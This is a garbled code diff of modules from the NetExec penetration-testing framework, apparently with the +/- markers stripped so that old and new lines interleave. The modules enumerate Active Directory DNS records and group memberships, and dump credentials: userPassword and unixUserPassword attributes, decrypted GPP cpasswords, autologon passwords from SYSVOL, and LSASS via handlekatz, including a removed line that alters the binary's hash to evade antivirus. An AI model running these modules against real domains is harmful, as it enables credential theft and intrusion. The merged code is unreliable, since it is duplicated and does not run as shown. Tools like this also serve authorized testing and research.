from os.path import expanduser
import codecs
import socket
from datetime import datetime
from struct import unpack
import dns.name
import dns.resolver
from impacket.ldap import ldap
from impacket.structure import Structure
from os.path import expanduser, join
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
from nxc.parsers.ldap_results import parse_result_attributes
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from ldap3 import LEVEL
def ldap2domain(baseDN):
return re.sub(r",DC=", ".", baseDN[baseDN.lower().find("dc="):], flags=re.IGNORECASE)[3:]
def get_dns_zones(connection, root, debug=False):
connection.search(root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"])
zones = []
for entry in connection.response:
if entry["type"] != "searchResEntry":
continue
zones.append(entry["attributes"]["dc"])
return zones
def get_dns_resolver(server, context):
# Create a resolver object
dnsresolver = dns.resolver.Resolver()
# Is our host an IP? In that case make sure the server IP is used
# if not assume lookups are working already
try:
if server.startswith("ldap://"):
server = server[7:]
if server.startswith("ldaps://"):
server = server[8:]
socket.inet_aton(server)
dnsresolver.nameservers = [server]
except OSError:
context.info("Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP as target host to use that server for queries")
return dnsresolver
def ldap2domain(ldap):
return re.sub(",DC=", ".", ldap[ldap.lower().find("dc="):], flags=re.I)[3:]
def new_record(rtype, serial):
@@ -36,29 +65,28 @@ RECORD_TYPE_MAPPING = {
5: "CNAME",
6: "SOA",
12: "PTR",
15: "MX",
16: "TXT",
# 15: 'MX',
# 16: 'TXT',
28: "AAAA",
33: "SRV",
}
ZERO = 0
A = 1
NS = 2
CNAME = 5
SOA = 6
PTR = 12
MX = 15
TXT = 16
AAAA = 28
SRV = 33
def searchResEntry_to_dict(results):
data = {}
for attr in results["attributes"]:
key = str(attr["type"])
value = str(attr["vals"][0])
data[key] = value
return data
class NXCModule:
name = "get-network"
description = "Query all DNS records with the corresponding IP from the domain."
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
@@ -67,44 +95,61 @@ class NXCModule:
"""
self.showall = False
self.showhosts = False
self.showip = True
if module_options and "ALL" in module_options:
if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1":
self.showall = True
else:
context.log.display("Could not parse ALL option.")
print("Could not parse ALL option.")
if module_options and "IP" in module_options:
if module_options["IP"].lower() == "true" or module_options["IP"] == "1":
self.showip = True
else:
print("Could not parse ONLY_HOSTS option.")
if module_options and "ONLY_HOSTS" in module_options:
if module_options["ONLY_HOSTS"].lower() == "true" or module_options["ONLY_HOSTS"] == "1":
self.showhosts = True
else:
context.log.display("Could not parse ONLY_HOSTS option.")
print("Could not parse ONLY_HOSTS option.")
def on_login(self, context, connection):
zone = ldap2domain(connection.baseDN)
dns_root = f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}"
search_target = f"DC={zone},{dns_root}"
context.log.display("Querying zone for records")
sfilter = "(DC=*)"
list_sites = connection.search(
searchFilter="(DC=*)",
attributes=["dnsRecord", "dNSTombstoned", "name"],
baseDN=search_target,
)
list_sites_parsed = parse_result_attributes(list_sites)
try:
list_sites = connection.ldapConnection.search(
searchBase=search_target,
searchFilter=sfilter,
attributes=["dnsRecord", "dNSTombstoned", "name"],
sizeLimit=100000,
)
except ldap.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
list_sites = e.getAnswers()
else:
raise
get_dns_resolver(connection.host, context.log)
outdata = []
for site in list_sites_parsed:
for item in list_sites:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
site = searchResEntry_to_dict(item)
recordname = site["name"]
if "dnsRecord" in site:
if isinstance(site["dnsRecord"], list):
records = [bytes(r) for r in site["dnsRecord"]]
else:
records = [bytes(site["dnsRecord"])]
for record in records:
dr = DNS_RECORD(record)
if dr["Type"] == A:
record = bytes(site["dnsRecord"].encode("latin1"))
dr = DNS_RECORD(record)
if RECORD_TYPE_MAPPING[dr["Type"]] == "A":
if dr["Type"] == 1:
address = DNS_RPC_RECORD_A(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
@@ -114,18 +159,17 @@ class NXCModule:
"value": address.formatCanonical(),
}
)
# Skip without "ALL" and "ONLY_HOSTS" => only IPs
elif dr["Type"] in [CNAME, NS, PTR] and (self.showall or self.showhosts):
if dr["Type"] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"]]:
address = DNS_RPC_RECORD_NODE_NAME(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
{
"name": recordname,
"type": RECORD_TYPE_MAPPING[dr["Type"]],
"value": address["nameNode"].toFqdn(),
"value": address[next(iter(address.fields))].toFqdn(),
}
)
elif dr["Type"] == AAAA:
elif dr["Type"] == 28:
address = DNS_RPC_RECORD_AAAA(dr["Data"])
if str(recordname) != "DomainDnsZones" and str(recordname) != "ForestDnsZones":
outdata.append(
@@ -136,19 +180,14 @@ class NXCModule:
}
)
# Filter duplicate IPs if "ALL" and "ONLY_HOSTS" are not set
if not (self.showall or self.showhosts):
seen_ips = set()
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
context.log.highlight(f"Found {len(outdata)} records")
path = expanduser(join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")))
with open(path, "w") as outfile:
path = expanduser(f"~/.nxc/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
with codecs.open(path, "w", "utf-8") as outfile:
for row in outdata:
if self.showhosts:
outfile.write(f"{row['name'] + '.' + zone}\n")
outfile.write(f"{row['name'] + '.' + connection.domain}\n")
elif self.showall:
outfile.write(f"{row['name'] + '.' + zone} \t {row['value']}\n")
outfile.write(f"{row['name'] + '.' + connection.domain} \t {row['value']}\n")
else:
outfile.write(f"{row['value']}\n")
context.log.success(f"Dumped {len(outdata)} records to {path}")
-66
View File
@@ -1,66 +0,0 @@
import json
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Get the scriptPath attribute of users
Module by @wyndoo
"""
name = "get-scriptpath"
description = "Get the scriptPath attribute of all users."
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
FILTER Apply the FILTER (grep-like) (default: '')
OUTPUTFILE Path to a file to save the results (default: None)
"""
self.filter = ""
self.outputfile = None
if "FILTER" in module_options:
self.filter = module_options["FILTER"]
if "OUTPUTFILE" in module_options:
self.outputfile = module_options["OUTPUTFILE"]
def on_login(self, context, connection):
# Building the search filter
resp = connection.search(
searchFilter="(scriptPath=*)",
attributes=["sAMAccountName", "scriptPath"]
)
context.log.debug(f"Total of records returned {len(resp)}")
answers = parse_result_attributes(resp)
context.log.debug(f"Filtering for scriptPath containing: {self.filter}")
filtered_answers = list(filter(lambda x: self.filter in x["scriptPath"], answers))
if filtered_answers:
context.log.success("Found the following attributes: ")
for answer in filtered_answers:
context.log.highlight(f"User: {answer['sAMAccountName']:<20} ScriptPath: {answer['scriptPath']}")
# Save the results to a file
if self.outputfile:
self.save_to_file(context, filtered_answers)
else:
context.log.fail("No results found after filtering.")
def save_to_file(self, context, answers):
"""Save the results to a JSON file."""
try:
# Format answers as a list of dictionaries for JSON output
json_data = [{"sAMAccountName": answer["sAMAccountName"], "scriptPath": answer["scriptPath"]} for answer in answers]
# Save the JSON data to the specified file
with open(self.outputfile, "w") as f:
json.dump(json_data, f, indent=4)
context.log.success(f"Results successfully saved to {self.outputfile}")
except Exception as e:
context.log.error(f"Failed to save results to file: {e}")
+26 -9
View File
@@ -1,7 +1,6 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -13,18 +12,19 @@ class NXCModule:
name = "get-unixUserPassword"
description = "Get unixUserPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
"""
def on_login(self, context, connection):
searchFilter = "(unixUserPassword=*)"
searchFilter = "(objectclass=user)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "unixUserPassword"],
sizeLimit=0,
@@ -37,10 +37,27 @@ class NXCModule:
nxc_logger.debug(e)
return False
if resp:
resp_parsed = parse_result_attributes(resp)
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
unixUserPassword = []
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "unixUserPassword":
unixUserPassword = [str(i) for i in attribute["vals"]]
if sAMAccountName != "" and len(unixUserPassword) > 0:
answers.append([sAMAccountName, unixUserPassword])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
if len(answers) > 0:
context.log.success("Found following users: ")
for user in resp_parsed:
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['unixUserPassword']}")
for answer in answers:
context.log.highlight(f"User: {answer[0]} unixUserPassword: {answer[1]}")
else:
context.log.fail("No unixUserPassword Found")
+26 -9
View File
@@ -1,7 +1,6 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -13,18 +12,19 @@ class NXCModule:
name = "get-userPassword"
description = "Get userPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
"""
def on_login(self, context, connection):
searchFilter = "(userPassword=*)"
searchFilter = "(objectclass=user)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "userPassword"],
sizeLimit=0,
@@ -37,10 +37,27 @@ class NXCModule:
nxc_logger.debug(e)
return False
if resp:
resp_parsed = parse_result_attributes(resp)
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
userPassword = []
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "userPassword":
userPassword = [str(i) for i in attribute["vals"]]
if sAMAccountName != "" and len(userPassword) > 0:
answers.append([sAMAccountName, userPassword])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
if len(answers) > 0:
context.log.success("Found following users: ")
for user in resp_parsed:
context.log.highlight(f"User: {user['sAMAccountName']} userPassword: {user['userPassword']}")
for answer in answers:
context.log.highlight(f"User: {answer[0]} userPassword: {answer[1]}")
else:
context.log.fail("No userPassword Found")
+6 -8
View File
@@ -1,8 +1,5 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
import json
@@ -16,14 +13,15 @@ class NXCModule:
name = "get_netconnections"
description = "Uses WMI to query network connections."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""No options available"""
"""No options"""
def on_admin_login(self, context, connection):
data = []
cards = connection.wmi_query("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
cards = connection.wmi("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
if cards:
for c in cards:
if c["IPAddress"].get("value"):
@@ -31,6 +29,6 @@ class NXCModule:
data.append(cards)
log_name = sanitize_path_component(f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(json.dumps(data), log_name)
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
+33 -28
View File
@@ -1,6 +1,5 @@
import xml.etree.ElementTree as ET
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -12,43 +11,49 @@ class NXCModule:
name = "gpp_autologin"
description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""No options available."""
""" """
def on_login(self, context, connection):
context.log.display("Searching SYSVOL share for Registry.xml")
shares = connection.shares()
for share in shares:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
context.log.success("Found SYSVOL share")
context.log.display("Searching for Registry.xml")
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
for path in paths:
context.log.display(f"Found {path}")
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
for path in paths:
context.log.display(f"Found {path}")
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
xml_section = xml.findall(".//Properties")
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
for section in xml_section:
attrs = section.attrib
xml_section = xml.findall(".//Properties")
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
for section in xml_section:
attrs = section.attrib
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
+64 -60
View File
@@ -3,7 +3,6 @@ from Cryptodome.Cipher import AES
from base64 import b64decode
from binascii import unhexlify
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -15,83 +14,88 @@ class NXCModule:
name = "gpp_password"
description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""No options available"""
""" """
def on_login(self, context, connection):
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
shares = connection.shares()
for share in shares:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
context.log.success("Found SYSVOL share")
context.log.display("Searching for potential XML files containing passwords")
paths = connection.spider(
"SYSVOL",
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
paths = connection.spider(
"SYSVOL",
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
for path in paths:
context.log.display(f"Found {path}")
for path in paths:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
if "Groups.xml" in path:
sections.append("./User/Properties")
if "Groups.xml" in path:
sections.append("./User/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
password = self.decrypt_cpassword(props["cpassword"])
password = self.decrypt_cpassword(props["cpassword"])
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
def decrypt_cpassword(self, cpassword):
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
-234
View File
@@ -1,234 +0,0 @@
import re
from io import BytesIO
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Module to retrieve privileges assigned via Group Policy Objects (GPOs) by parsing GptTmpl.inf files
and resolving SIDs using LDAP.
"""
name = "gpp_privileges"
description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
WELL_KNOWN_SIDS = {
"S-1-0": "Null Authority",
"S-1-0-0": "Nobody",
"S-1-1": "World Authority",
"S-1-1-0": "Everyone",
"S-1-2": "Local Authority",
"S-1-2-0": "Local",
"S-1-2-1": "Console Logon",
"S-1-3": "Creator Authority",
"S-1-3-0": "Creator Owner",
"S-1-3-1": "Creator Group",
"S-1-3-2": "Creator Owner Server",
"S-1-3-3": "Creator Group Server",
"S-1-3-4": "Owner Rights",
"S-1-5-80-0": "All Services",
"S-1-4": "Non-unique Authority",
"S-1-5": "NT Authority",
"S-1-5-1": "Dialup",
"S-1-5-2": "Network",
"S-1-5-3": "Batch",
"S-1-5-4": "Interactive",
"S-1-5-6": "Service",
"S-1-5-7": "Anonymous",
"S-1-5-8": "Proxy",
"S-1-5-9": "Enterprise Domain Controllers",
"S-1-5-10": "Principal Self",
"S-1-5-11": "Authenticated Users",
"S-1-5-12": "Restricted Code",
"S-1-5-13": "Terminal Server Users",
"S-1-5-14": "Remote Interactive Logon",
"S-1-5-15": "This Organization",
"S-1-5-17": "This Organization",
"S-1-5-18": "Local System",
"S-1-5-19": "NT Authority",
"S-1-5-20": "NT Authority",
"S-1-5-32-544": "Administrators",
"S-1-5-32-545": "Users",
"S-1-5-32-546": "Guests",
"S-1-5-32-547": "Power Users",
"S-1-5-32-548": "Account Operators",
"S-1-5-32-549": "Server Operators",
"S-1-5-32-550": "Print Operators",
"S-1-5-32-551": "Backup Operators",
"S-1-5-32-552": "Replicators",
"S-1-5-64-10": "NTLM Authentication",
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-80": "NT Service",
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
"S-1-16-8448": "Medium Plus Mandatory Level",
"S-1-16-12288": "High Mandatory Level",
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
}
def options(self, context, module_options):
"""NO_LDAP If set to True, disables LDAP queries for resolving SIDs."""
self.no_ldap = module_options.get("NO_LDAP", False)
def on_login(self, context, connection):
self.context = context
try:
connection.conn.listPath("SYSVOL", "*")
except Exception as e:
self.context.log.fail(f"Failed to list shares: {e}")
return
self.context.log.display("Searching for GptTmpl.inf files")
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
if not paths:
self.context.log.warning("No GptTmpl.inf files found in SYSVOL.")
return
for path in paths:
if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
self.context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
else:
self.context.log.info(f"Found GptTmpl.inf: {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
try:
content = buf.getvalue().decode("utf-16le")
except UnicodeDecodeError as e:
self.context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
continue
privileges = self.extract_privileges(content)
if privileges:
ldap_connection = None
base_dn = None
if not self.no_ldap:
ldap_connection = self.initialize_ldap_connection(connection)
base_dn = self.get_basedn(ldap_connection)
self.context.log.success(f"Privileges extracted from {path}:")
for privilege, sids in privileges.items():
resolved_sids = [self.resolve_sid(sid, ldap_connection, base_dn) for sid in sids]
self.context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
if ldap_connection:
ldap_connection.close()
def get_basedn(self, ldap_connection):
root = ldap_connection.search(
scope=ldapasn1_impacket.Scope("baseObject"),
attributes=["defaultNamingContext"],
sizeLimit=0,
)
return parse_result_attributes(root)[0]["defaultNamingContext"]
def extract_privileges(self, content):
"""Parses the content of GptTmpl.inf to extract privilege rights."""
privileges = {}
in_priv_section = False
for line in content.splitlines():
if line.strip() == "[Privilege Rights]":
in_priv_section = True
continue
if in_priv_section and line.strip() == "":
break
if in_priv_section:
match = re.match(r"^(.*?)\s*=\s*(.*)$", line)
if match:
privilege, sids = match.groups()
privileges[privilege] = [sid.strip("*") for sid in sids.split(",")]
return privileges
def initialize_ldap_connection(self, connection):
"""
Initializes an LDAP connection using impacket with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
"""
ldap_connection = None
try:
ldap_connection = ldap_impacket.LDAPConnection(url=f"ldap://{connection.remoteName}", dstIp=connection.host)
if connection.kerberos:
ldap_connection.kerberosLogin(
connection.username,
connection.password or "",
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey or "",
kdcHost=connection.kdcHost,
useCache=bool(connection.use_kcache),
)
else:
ldap_connection.login(
user=connection.username,
password=connection.password or "",
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
)
self.context.log.success("Connected to LDAP.")
except Exception as e:
self.context.log.fail(f"LDAP connection failed: {e}")
return None
return ldap_connection
def resolve_sid(self, sid, ldap_connection, base_dn):
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
if sid in self.WELL_KNOWN_SIDS:
return self.WELL_KNOWN_SIDS[sid]
if ldap_connection:
try:
resp = ldap_connection.search(
searchBase=base_dn,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)
parsed_result = parse_result_attributes(resp)
if parsed_result and "sAMAccountName" in parsed_result[0]:
return f"{parsed_result[0]['sAMAccountName']}"
else:
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except ldap_impacket.LDAPSearchError:
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except ldap_impacket.LDAPFilterSyntaxError:
self.context.log.warning(f"Invalid LDAP filter syntax for SID {sid}. Returning raw SID.")
except Exception as e:
self.context.log.error(f"Failed while resolving SID {sid} via LDAP: {e}")
else:
self.context.log.warning(f"LDAP connection not established. Returning raw SID: {sid}")
return sid
+5 -11
View File
@@ -1,6 +1,5 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
import sys
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -12,17 +11,15 @@ class NXCModule:
"""
name = "group-mem"
description = "[REMOVED] Retrieves all the members within a Group"
description = "Retrieves all the members within a Group"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
opsec_safe = True
multiple_hosts = False
primaryGroupID = ""
answers = []
def options(self, context, module_options):
r"""
[REMOVED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem.
"""
group-mem: Specify group-mem to call the module
GROUP: Specify the GROUP option to query for that group's members
Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
@@ -37,9 +34,6 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
context.log.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
return None
# First look up the SID of the group passed in
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "objectSid"
@@ -74,7 +68,7 @@ class NXCModule:
def do_search(self, context, connection, searchFilter, attributeName):
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
context.log.debug(f"Total number of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+3 -3
View File
@@ -1,7 +1,6 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import sys
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -16,7 +15,8 @@ class NXCModule:
name = "groupmembership"
description = "Query the groups to which a user belongs."
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""USER Choose a username to query group membership"""
@@ -37,7 +37,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["memberOf", "primaryGroupID"],
sizeLimit=0,
+23 -28
View File
@@ -5,9 +5,8 @@
import base64
import re
import sys
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
from pypykatz.pypykatz import pypykatz
@@ -15,7 +14,8 @@ class NXCModule:
name = "handlekatz"
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
opsec_safe = False
multiple_hosts = True
def options(self, context, module_options):
r"""
@@ -34,8 +34,6 @@ class NXCModule:
self.handlekatz_path = "/tmp/"
self.dir_result = self.handlekatz_path
self.useembeded = True
# Add some random binary data to defeat AVs which check the file hash
self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "HANDLEKATZ_PATH" in module_options:
self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
@@ -52,7 +50,7 @@ class NXCModule:
def on_admin_login(self, context, connection):
handlekatz_loc = self.handlekatz_path + self.handlekatz
if self.useembeded:
try:
with open(handlekatz_loc, "wb") as handlekatz:
@@ -80,7 +78,6 @@ class NXCModule:
if not p or p == "None":
context.log.fail("Failed to execute command to get LSASS PID")
self.delete_handlekatz_binary(connection, context)
return
# we get a CSV string back from `tasklist`, so we grab the PID from it
pid = p.split(",")[1][1:-1]
@@ -99,15 +96,12 @@ class NXCModule:
context.log.fail("Process lsass.exe error un dump, try with verbose")
dump = False
